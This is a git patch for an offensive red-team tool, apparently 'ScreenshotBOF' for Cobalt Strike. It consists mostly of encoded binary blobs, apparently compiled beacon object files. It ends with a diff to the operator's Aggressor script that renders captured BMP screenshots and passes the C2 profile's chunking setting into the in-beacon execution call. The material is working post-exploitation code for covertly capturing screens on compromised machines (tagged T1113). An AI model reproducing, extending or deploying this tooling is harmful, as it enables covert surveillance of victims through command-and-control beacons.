zhV)g0sOTu9G^sV&UBsdil&?}a#Gm_0;iDque*Qp_e)5~j$4F`H5dYc3w3gC~In61i zntn`h6?2{xIDU?sE=?W9N^$HWdLrm*#B%Zi^WZp%7n4SPb7ZuENg%wA=^xA z4)BQ}|7Fgs>e$eV5%OePH!TTqoEg7MvV*Ygn8pP(iaL?DLbe`m;QrN{8B4D zgY3I%Ts{ePn#l-NNeGp~1*PzD@!OD`KR~iZhwPhN7DjM1K0GlCcjkM;s1tI0n)7?O z-AeNPx}0oRk{^Kl2!3R=;TG@4ZQw@S62v9xrqXRa-8Rr|kZviuZCr@kCPG7W8>U-& zE^Zk@S-L$$x10;NJRyzH2%*h{wh$U!fZJ9=57X@tx^0`mZ9DBoH-f$q0n$uS2$_R@M-ke*_Ml#4i=8l(})%a zmH?GYfh8&@A4f)B0I4qnTTd+eoriZpx$k?g(?ru^akEz3ujQx<_k|qYS3+tDX(hBD z=sNs!Gjeu4N5^r$fg?KKs7`LS1g;iw)DEM}G#onWHa&8acWak3~`OW}sU*7X+eNbTit)OE~&XNqVRxJq{!)xfq9x$S4Hl z;UhMd&?7*%bFKi?!qJa_kRE(I2}FO!b+hMz5H`>sfe<3l`#^95^f8c^qnbL#&;fTP zkl=0x!vDZEm$(mr>N)obkX}g;cW|x)=t_>dfrL~8YUSMHKusL&1G<$XSA7+$cg<(6 z`7Sp9aXcRvRuR*E-N`gU^==QsFQQFhVJ5sc8@?3kit1yFL!f9vo8>3c`xU@xZlGO z&4)l#4T`avt$gt1U%d6{@0NV>_A?9Sy|wnbg@1VHdn(g&TKij+L z^*K+Us(n)Ioz`{b%<}Ovrg`bUa>hq5U{*W6rSw=8jPVMvms-4-AvMTVkW6GIS2E72Xnx|9Ca|K9L#wK zQ;SL%mxy_hgK2dzs~pUrgL%xs{M5m`l+S2a|L#qYmbW z4(8_$<|PMn#KFAdV7_uNH(^QAYq7aDI>DU8(leO>F#B-eo6MtNJ}NPCcojWt`9*7X zHUra4TUJ=snWgj`7M68}j}n%RQA7#L#8^K((g9oTqWwwNFV~#2EaK-74_#b`SwBPK zv5rx6=HfBJCTAMyRYt#F)JJh0&bq`x1``XlaB9ji{vu`Ax%c~AH zl-6uqB$rBS>uuEP5iL7nXo)YOa+j(_x8^l4P^%6LxG{8OhUI+CJJW~o65aJ zHINm;5_O2gk)dWxrwE`&jSrJSQLL|o>74L-h>A}Et};!CX_TX*z6d^VSd z)!{^TYZ(`}WT)%(<pAEMp8Ng*7_c*XQ?>2YDpDC6!LfcpA(6|0BVXPF_}w o`moE>EjMh0Cer44mD{VNVwkx^2@ErrQZdY2ezio2F2B700p6|^V*mgE literal 6234 zcmd5=Z)_9i8GnrpWWYkYt%I(#y``7d9loBC(_*?f6U)tX`rl?0_)~+u_cq8mq%FP-b90yzNoS_)Y~0zm23(9 z9}c{2WhtdgZJCEQNr3)|Hh*Vsf-xl$k3~b<*g(9ypHiXF+scgfXLpb4Ytp%FdXJRK zXQbACEuYa!Qde)RRniO6-mJFI)TMs=>YY+NwKtpJEsbRLu~bnir%RfaFOL><(vR0h zWl2ws_0awFHoet4EKc`Xhk6wgs!_SP z`eJn!lXqYo!&o=QLxD@eunOU*3dv}FJgh)_sG5*>GzcbCka$GpVN-ijJ`BGX6geod z%Z$9hU?+J;?^gjv$%U6JqL&m*-q9VH3A}4Db7WFJ2rKFo&$SjBR41;3XKM9D?#433 z1{3nAZITh(q4QM5bC=B)MQtSoQLL<2x^k0Z9D=Ljl+v`UdQ?7$Ie;D>f0`$8(act) zHq{&u~W^Xmwgf6?V#U@-}7p}Ak-KG$=l{|2To-QADgB;0o zGl)+nmmAT4$EzYzSxqBBJ}(MMEVTTzhl#)>t}op<4}O^Ysp|@jVKa1;LYkXZ)0fNu zXv*v@5jqJgvkM$j5xbDO?b0H5Cq$kGk=18qcA-ORb-KtQwK`pFmr9kHCfaTnu=Q$1 z^YS9lRxF}uUQsku&RVq5d5b3Y=R9>20&5!f(wTB=BDU(83f5d23W!{2Gg2qmtj8HLVE6s~ROg$_3zWiK6^ z7#(hYs8!l>LE{Kdf4*inFayh-4VJ};-yw=!ki3Zj49uXT26$c|f*0%XavlDu4zCbIAlw{+BImpS zm6`i0*RH)(`EarO53{%2%U_?Ac_>%{T3i%r$c;Kxv4%5P?<>y;_9a)4_jDV z7AlHBsjAfj7*s!=_G0kKscHH*r#|^4X;j{jsb_kic7f9>VsYutCy`}+Xs_|NkFmBC zB8lNpae1*f{A5Zn*t%Y0Zyx128765xtR}IV6HNDoc-iSpSRGguAyUm4&vfBcOv`c% z{>(xlh^7uiNT*AI><5qqW=QKtHFVt2ugr9S|FIY;C~mV_t-WN#kq({VyLReD?u4p* z5bC0QIevTS{o2pZIkJpUb&&#Cz8f?;X(e6-%P_5oltN)yC zgXEJ_QTQdD=+r_yS>Ro>1V}U&ojS@V&L=GL7?Bv(Cx^wreIqQosapZ;rS_cnX3UmiYcLLE)^Dr-vm=OT_3g?1AcXRYO&?=5j06oOf zeh*_`;OHHoCXW6HBrHFIBI9=mEI$f#4@WVedpXL~&;cOf?R}v8xb)|X@S}mFw}8IN z(cgetIdUyFGhYRCKj+$kWR40zZ5&P2q{nO0SAaxDE(9#{Xan-{8Q~gw0*GEv9`-cQ z8jds|{F(u`2WT}%&jKyw=qEsQUwhbVKwsnN_ds;1d)V7GZV8Iwc4-x z`d{z8yt4V~;N2ZN|H}67dv(>-kG8(~Y5JGXWqy|2)cx?iAME<@&rdzk_1rm3;w_ji zj1_&^%nwToU32*F)Xjpsw3P1i`;Rf#LBUvmYEvoPu32Mty|ezzUchxu)`bSL{=}v- zx?L|Ak`qg#HwBdATQ&y#ogFmdI*c=G0~@G1R%U&N)W~e0(`D1?qzc)XjYADg$A;k= zWBqYY>*sdS&wE;lJNn)kL}xV1Vl&EC+ysUY%Nii3H}!MyKaK6Wt6M4&to z0UvNMn;gtm2ctQd{SM}YgP8#{jF{@Hd>za&Y>+zR!3O-e#>mmFw4r#TeYA*ySxdKq zuwyV>N7ylS=r$2{h_QZP!ex%VD&t9Q+sxsA2t>~{wEfYz4zqr4!X=McbY|#YI;HLV z3p%598nd_#=eoeqO(yIRRRTjZ>pDLLLpNJp=WQ@_a_c(R4W_Ph7s^1f3mu>3Ll<5k zh_Dk+d!ySnnaqwAlU-UWUC75u*}T5XM)i&B#c|!B#5XE=i>Al-mvwEdSJO+`blD+Q z!UnZPi3HZk;S#PwEsPs7rDsQS+W!!D@y|6j3vn%nuatcw-@?--fNodLPASmU>pqN_ z`@yElby`Fwbmy@vLRP{dn>Qq`XnV71Eu1QvSqnpu2rK4<$MN;5JBsAD# zOruIokSN5VkS*k)vpG}Phv-w8`p3Lra9e07)*b3rRXi1Str~oaZBFu7l3J-$D3OMc z`M*grd?eJ=u1KOc6iXC(vN_FE7%e^4CN9bY&?E(r-2#Y#2m7Kx2TPXZ>A#7qykC0u0X;8=fEdmh{p?)Y)c-4YW= zG?^r!3~kZew9Lp;z@+}7 zmn&_Y-7mNH?JD)?)FFUZbM!Y>IyhU6J?!@>z7#K`&i35YJ3$W4;jk<69;LLqN0)>O zIPPZ_j$3PEj0*+Nxu3MRb#z8H->X;SHUM3@&Uj^DCF=70Jx-ynT54!%aMf%r>FW#l z?OlP^k}sv}s$C7PI??43t6OU8x0ZNon_Ik|7N@Jx>+&>uA9gtfug5Lay6Rj)vuAsG zR!dSu4p&wz(ZvpbU`ZZk)ru`ytu!_`AFLJyPYIvp(*ND-hV>ENr||3jcW&hY%lE7= zuj<;vaZZ=V-BA4~CwYWs;tDamIk2lkxx1|^(ALQ-9RVoz`1z7%xyLVu`5Mt(!Yd(u zcR+p$bv>m#ZATV+r1QnQQi4Mh~b zHymmYbjiG5R*=QA-_Cn{y8}JD_||~Z?d#;k+u$YYoSQ1y!7BQl;tUbaGA==RhuKw#0<-4xSt1RAClYCLx(e^%>ylrXUyO z(rcbqg$W4enr4_6)(%qYokxeQsx%Je1$w1sAz)XG(qQC3!*hxWE~Y2^3cSnFo!31Wd;0>CURopoGQ(2lM4E8 zMl}lwvDG5Z9auYPgX7Vm97O%fxGLKAe@v`^;}&UQaHT5P67yDSGWxZM3xn0L$(FdL z*~Ho!bmu}dakV%@c_$1i&QQ%$rDDTTU3Hl%7ALM|_PaA5s)_kb?d2HK=oxEFS{M~( zHQ$6;YWl1y&TbQn;TyGE6^bmv>;Wt6Cn`Bmfo}qzZVcSuO}6ByB5$%K7n<3&SZKp} z)Rv@fOOo1>L^f^{`IIf|EJD&`3rW=Zrl5u8877vRmQ*yK9*+x$wS?0OeXd~a3Ze;X zOgybhr?b*)LANwJ!xoG&%g!)J(sM7BVGB#8mns$+1AU6->SY9Iez3qsCE7SrN#~hm z7>~gM$cywW(#*=&6Tc{z(-g+SF`Y``F`B~DEQQBt?8it7 zpQdX;FxLp}{{AA)wuUQwAqjh7%fXZ6_4BJ#<)}7MMuiE&(n(TO7(dObmI-s)go(lz zF2WF1oQNhcsZXfViS($?Vgi|?K1=8IQc<6!(|3ueYl4i3U=D#sM9z{)jkz2Xr!c3b zDVo+(Sd=Wn#1>%+=_bxv#Iu;37HR50?jTb6EDhS(D;J2tWStCJjhKA$5pAxhjI0iD z>bNQ$Pj@Q0q*KW+bt?H~PHBQ{r$EE0VZ*6O;?yK{YEl&@w+ThWqohR~rXEc)kA|s7 z!x&{)s|v|Et49{SN&rIUZGpIa6 zQx#)rORdp~kEtLJD!LHx|5}i)>8HkHY__&`SdB5xXcYU+<^Tq+t@+p>hoB$GKXQX zW%c=BUR*lg99&^!M*2deZE{$TFm146*)X*VV4T&>cF@(jR&nJ}+MbB|`;%78pobpT zmg-S~e$DH1ZNR^{NVXYF@hMV}4LiuuHd%|I3H&#j`%T07as%A)<#dC#pnNk*VOCN5mL354~zRj0_J(oQym6(@=*6c*y~dYIA_ zELJ6}*4*eo2dE9Gpbj(u#Rj_YRO4v!gpBlJSzq{#Ha9WaY0QKzDfIu4&4@=nmQQ0yxejoF>e7&dW;E^s)QwG zGTva@&=joE<1?X36Pm&J_Bx5*9$fq_Vz}C${Oq-0p++2MGc=r=8;cW6X7Q8OZ(6i0+pw~h$!a3jKL-0$Lk z5BINe58+PWK6BHE@IK06+`qv+QZOQnqCAWH9PSTtMuZPhj-mVr?U1dj*J2OZa>r{8OMiDfcLd3sD(G zn}C?~n?OwZ01%6042XI3Qy}t_G@pChKpz5aqTEHG%@kb%!hh8J3kq@+gK+~|MbQ^P zIJ*IN9f;Kwtph5j$PToIqAG*i2~sNOi`k=4z&LfuN$8Y&=9!WrY zIod+qz4n0rS%r8yMgo&X)?lqRRvq~F9 zLNexd6SLjKJZfShCgvp*bHv1)GckWNF?q}^YBhr;CdOf69y2j}P0TAM=7@B{6A3|f3Kt7Wd zIrCbChSwYD?)7?WWM5mT$BA=rw=W!#&9tjW$t2z3K#$U%$u;&Vy?sVKcHCULLsmR{ zBZ}ND%1SuU7IECGE2SzpYg6nFr>nA}v^I=2O|HdK=Tic$UGjggQA5v99UCk3=2=4? zxeMp4jjcgE9aWh!sMK^Rj>^rMv=b^yMvt1M%@Ft^M3U7I)6hCG{7d)5SzGPcnAHy= zbaZzQ`(2w8j3GhBKA2i8IZ!n30*)avW1?&=D)r4+NI4WYKq?68u-P{1#3 zDvOod2lo{@ty|_uv+U~%JT2?uEH{ZWE(A2QNY zO1tImw%)z^_~@jMIG#m%BR#ztIjL2SgmIK_YL}AbSxqQ`ZnFiukPAJ#Qw^l7mX+GR za9Hk9+~H809ErI64x>e*mLY2ic~B=1>Or+C?wk54dg@@^;dr$A5qGt-zP=p)9FL{y y)Zt{`kTQ{%`s$U#;ZT@}>WO0cPNIdsC&=|Rt`@P{-4fDOA(u4L>vcFt^Zx;~%c+I{ literal 4761 zcmd5=ZERat89uJl%x%-gMFC7(=p`g0C983hD*d9Go%kei@m(A{ckLL(IQC6y*Rdn} zCTl@aR+&n1PpyG8q;6tTB~}3%0BBh}GXs1YvP+(ySQnp&iVgbC$Qh3if z_xkG=@t3Rk+~+*+$9dm#-h1vnaT_+HADw(Lcxf9#orqu7P(ltWld{@HSpdsgN4sw| zBWp+=o)~TMY1CB!Zy2;5zuS?y+nNXklt7t(1>o^bJeH1 zz0elU(D(%8`Mx!H=4`U-pr(e}01ZR@Ro7O~6@+g(aj!#i54m04N1G=m!XaxkJly0XD+?dla>KG8AM(|@$t-{T$f`-YsZ0l&*P;6LedV!zLWdtALP?DZYD)p(MUa-y^2 z2}AUS!cXKOtR8Ww#>;@)`J6+H3?^hbmOK+zsJ^e%OA1P0*lM*RiR4nbXCm&6&r?TfoQsGW%txNn z;7VjbgUbZ3wBuYFuM%;&UCgJ&wFuIL1tJx^TBk_xnumz1gO%hu!RtU42Q{swGXh#b zM9O;!&Vi%=>T7^kJrNW^m70rZXo%WisW}so*1c<#OU>00yj0?i{)=2*h0jH%#fjhU?Jn)R0mnnFt{DKPvZi?4Xqn6*lqf>o_z?R6=v#o z5~(5k*mU6|D!D}^*%c;fGBAm`Lh^8hny3Oxh2ZRcBZN8AWSYmtI&d+M*P%s^wm`tC ztRXF~L#D^1hN<14X2eAznvCN5rJXZof{UrUhBPidS|ptbGBe& zA;Y*vu{h&^n9SM7YE0bMjAs*AWGJpFp!3zi^V`h zK^My=u&j;6$Q;+PSaMn{ITlNfh`D2;P>yAf5$ANV(4sC3MvPiAb5IA58>`Y0S~KlH)J<=@O>1r>Efyc`0>U)C z?T(2NF!Nh(Ss28{OlEvzV`DI4A(BabEavg$Hjt8w3P{rU$0T!(0`b*5^f?$wOIJpq zK4GNS=kd>gft0TD+nfCMOMbh-Z?g!@8hxjQ6qyBd}}$ zyaKxg>_Qp0xot4gtxd!dk(Nq(PwqCn%TQ+GGMUPKdM(nZDJ`a^7Ln4X?Fe-G5W$OV zMKzt(@{Ca--IVe~%4M8e+dMqSLEvE;%JZI@T1Cp!5vak+-L5QW1*7glce+J3J8wY> z;2AcZuCzqA#Wa4q^AE5NcRJsP$@@K_4@g%Uzsq)k9qO90y=XbIBO|>9<1ef0o|&fQ=%ou=O#60 zPUHKTi&R4`>uT8?5${734C9!b!CfuRVrUu5Wq(9#O7N7tbJ5<|a%b_YW@q20+) z7Frwpn$Y{uatr$PwhMmsh=#nIp?^TThamxqbss~=jR<{?p%5SwLs3B7^G!f>ZtKzS z0DYOEKLYv+LrW#J28fS#2p-41OgaZhVCW&BuQK#8pk{_11LB!)-;B`L7`F>h3q#$2 zS{XW3k`9-oF+e<{SwK9Gdw|-Q#h*&(?|`0R+&=;BXXr5?x;pTo34e4Y>d|&U^kcFf z?FH1p&^|!lVCWd2?F``(mjGl1t_e*8dYVbofWFSqw@$zPix1Xsw%_>V(i^|}b$a%C z!QHri?+G9G1F-JOW zw5F<}-p<1TnR1MQ*`)-M;JPSZ^K!o%(Ku-X>ZwzMOre0L0T{K%> z@nyz88rM3g4l0oA(CD;_GosdoJ71|8>Xi(8Xpcs9nok!ST?MYy5qsKwbM!$ zLjnHDq4K%%1R#Ayt{9dl;*|r@@DF57T$3hE#sw3aw0D#yrzRjN2H{qOR3q+%V{JKJ z(f2(3)1hTd9t)12*VacP12pj((w~ftSJkAdJPK $MAX_IMAGE_WIDTH) { + $width = $MAX_IMAGE_WIDTH; + } + if ($height > $MAX_IMAGE_HEIGHT) { + $height = $MAX_IMAGE_HEIGHT; + } + $scaledIcon = [new ImageIcon: [$image getScaledInstance: $width, $height, 4]]; + + $component = [new JLabel: $scaledIcon]; + $tab_name = "ScreenshotBOF - $file_name"; + addTab($tab_name, $component, "..."); + +} + # Checks the screenshot when it comes in to see if it is a BMP, then if so, renders it in a new tab on screenshots { local('$screenshot $data'); @@ -51,6 +83,45 @@ on screenshots { } } +popup_clear("downloads"); +popup downloads { + # do nothing if nothing is selected + if (size($1) == 0) { + return; + } + + item "Interact" { + openOrActivate($1[0]["bid"]); + } + + menu "&Color" { + local('$ids'); + $ids = map({ return $1["id"]; }, $1); + insert_component(colorPanel("accents", $ids)); + } + + item "Render &BMP" { + local('$download $lpath $name $count'); + foreach $count => $download ($1) { + ($lpath, $name) = values($download, @("lpath", "name")); + + sync_download($lpath, script_resource("file $+ .$count"), lambda({ + $handle = openf($1); + $data = readb($handle, -1); + closef($handle); + #println(charAt($data, 0)); + #println(charAt($data, 1)); + if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") { + display_downloaded($data, $1); + } else { + show_error("File is not a Bitmap image"); + } + deleteFile($1); + }, \$name)); + } + } +} + popup_clear("screenshots"); popup screenshots { item "&Interact" { @@ -107,8 +178,15 @@ alias screenshot_bof { $data = readb($handle, -1); closef($handle); + # figure out if the profile chooses to chunk the post or not (getOnlyProfile) + $profile = data_query("metadata")["c2profile"]; + $getOnlyProfile = [$profile shouldChunkPosts]; + println($getOnlyProfile); + + $args = bof_pack($bid, "i", $getOnlyProfile); + # announce what we're doing btask($bid, "Running screenshot BOF by (@codex_tf2)", "T1113"); # execute it. - beacon_inline_execute($bid, $data, "go"); + beacon_inline_execute($bid, $data, "go", $args); }